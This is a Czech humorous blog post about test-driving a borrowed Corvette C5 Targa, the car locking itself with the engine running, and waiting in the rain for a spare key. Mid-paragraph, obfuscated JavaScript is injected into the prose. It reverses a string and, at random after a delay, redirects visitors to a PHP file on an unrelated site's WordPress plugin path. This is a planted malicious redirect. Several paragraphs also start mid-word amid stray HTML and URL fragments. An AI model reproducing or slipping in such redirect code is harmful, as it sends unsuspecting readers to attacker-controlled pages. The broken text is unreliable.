Chevrodlak Corvette

Tohle je romantickej příběh o lásce, která se zrodila z čiré náhody a zahořela mocným osmiválcovým plamenem, jen aby následně tragicky zhasla. Začalo to stejně jako Láska Nebeská – jednou těsně před Vánocemi… Na vánočním večírku jsem potkal hezkou milou holku. Ukázalo se, že má taky úspěšnýho tátu, ten táta má garáž plnou parádních aut a ty auta by mi prej klidně půjčil, protože je to správnej řízek, co balí dvacítky, chodí do posilky a poslouchá Michala Davida. Povídali jsme si celou noc o všem možným. O Bentley, Range Roveru, Hummeru, Corvette, BMW i Jaguaru. A bylo mi jasný, že ta holka to se mnou myslí vážně – že dřív nebo pozdějc se k těm autům opravdu dostanu. Přišel jsem domů slušně nalitej a nemyslel na nic jinýho, dokud jsem neusnul.

toho teda půjdem. Její táta nám dal požehnání, a tak už zbejvalo jediný rozhodnutí. Který auto vytáhnout na projížďku? Nakonec jsem to toho plichta mezi Continentalem GT a Corvette. Tak jsem to ukecal na obě (díky, Franto!) a domluvil si nejvíc epickej autovíkend. Celou sobotu jsem $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}todlak.cz/wp-content/uploads/vette2.jpg”>to Corvette C5 Targa z konce 90. let, sluníčko svítilo a mě čekala cesta do Příbrami na Českou Route 66. Překvapilo mě, jak intuitivně a samozřejmě je vyřešeno sundavání a uložení střešního panelu. Čekal jsem peklo a pořezaný ruce, ale místo toho jsem na všechno hned přišel a za minutu bylo hotovo. Hned po startu jsem zjistil, že i tachometr v mílích mi náramně vyhovuje. Najednou mi devadesátka na okresce začala dávat smysl, a tak jsem se jí držel. Oproti kilometrům jsou čísla na tomhle budíku uklidňujícím způsobem nízká, takže se rychlostí zbytečně nestresujete. Protože kdo by to pořád přepočítával?

to je auto z konce 80. let, nejspíš bych mu věřil. Prošoupaný sedačky, nepřesvědčivej interiér, celkovej pocit čehosi spotřebního, co už má nejlepší časy za sebou. Spousta budíků, který ukazujou všelijaký podezřelý hodnoty, jenom posiluje dojem, že se co nevidět musí něco vysrat. O to víc mě ohromilo, jak tohle auto jede. Na základě prvního dojmu byste čekali lenocha. Jenže s výkonem 350 koní a skoro 500 Nm jezdila Vette svýho času přes 290 km/h a dávala stovku hluboko pod pět sekund. A pořád to v sobě má. I na dnešní poměry je to vážně rychlý auto.

tor pustíte do otáček, má zvuk jako z učebnice o americkejch osmiválcích. Jeho projev je dokonale ryzí a nekomplikovanej. Vedle dnešních vyvoněnejch osmiválců s naladěným potrubím zní hrozně jednoduše, ale přitom hluboce a drsně. Je to jako poslouchat remixy z rádia, a pak najednou slyšet čistej původní originál. Musim ale rovnou přiznat, že o driftování a jízdě na limitu jsem nezjistil nic, a to ze dvou důvodů. Tím prvním je čtyřstupňovej automat, kterej vám dá buď málo výkonu, nebo všechen, což je trošku strašidelný. A tim druhým je fakt, že se mnou Vette ukázkově vyjebala. Jak už to tak bejvá, když jste na vrcholu, musíte čekat ránu, a tak i týhle lásce měl bejt brzo konec.

tou do Příbrami jsem jel kvůli zpoždění hlavně na rychlost a focení i seznamování s autem jsem si naplánoval na cestu zpátky. Možná už jste si ale všimli, že všechny fotky jsou focený z jednoho místa na mobil. Když jsem totiž kus od Příbrami zastavil na pěkným kousku silnice, že se vyčůrám a udělám pár fotek, nastartovaný auto se mi s klíčema v zapalování tos/a.491934160878356.1073741830.454135617991544/1042430489162051/?type=3&theater” target=”_blank” rel=”noopener noreferrer”>pár sekund po zabouchnutí dveří zamklo. A to jsem jako naschvál jen chvíli před tím nasadil střechu zpátky, protože jsem se bál, že začne brzo pršet. No, měl jsem pravdu. Začalo pršet.

to rozhoupat a pak se odemkne, ale nic nezabíralo. Moje pokusy prostrčit klacek skrz těsnění kolem bezrámovejch dveří vypadaly profesionálně asi jako loupež ze Sám doma. Po nedalekým přejezdu do toho projel každou chvíli vláček a mě pořád znělo v hlavě výsměšný: Auta stojí, vlaky jedou! Do vesnice to sice byl sotva kilometr, jenže zatímco já jsem okno rozhodně rozbít neplánoval, nechtěl jsem riskovat, že to udělá někdo jinej. Tak jsem zatnul zuby a moknul.

tojíte u běžící Corvette a čekáte, až někdo přiveze přes půl republiky druhý klíče, začnou se vám hlavou honit všelijaký myšlenky. Co kdyby se to auto přehřálo a blaflo? Začnete nervózně koukat přes sklo na všechny ty budíky a hned vám připadá, že teplota je nějak moc vysoká a navíc… TEĎ! Teď se ta ručička pohnula nahoru! Určitě se pohnula! A už se vidíte, jak stojíte u hořícího vraku a přemejšlíte, co k tomu napíšete do statusu na Facebook. Nakonec jsem byl za ten studenej déšť bubnující na kapotu docela rád. Vážně mě ale překvapilo, kolik lidí zastavilo a nabízelo pomoc, i když jsem se snažil ze všech sil vypadat, že žádnou nepotřebuju.

tože kdybych jako normální člověk jezdil po dálnici, nemusela by mě hodinu hledat po zapadlejch okreskách! A kdybych nebyl takovej debil, tak by se mi nezamklo auto! A pak, pak už jen temný mrazivý mlčení. Chtěl jsem poznamenat něco o tom, že je mi moc líto, že musela hodinu a půl sedět ve svým novým BMW, zatímco já si užíval čerstvýho vzduchu v dešti u silnice. Ale pak jsem si jako každej správnej chlap tváří v tvář nasraný ženský řek, že budu radši držet hubu a dělat blbýho.

No a to byl konec týhle lásky, od tý doby jsme se neviděli. Naposledy jsem slyšel, že dostala novej koženej interiér a palivovej filtr. Přeju jí to. Kdo ví, třeba se ještě jednou někde na silnici potkáme.

Share on facebook
sdílej článek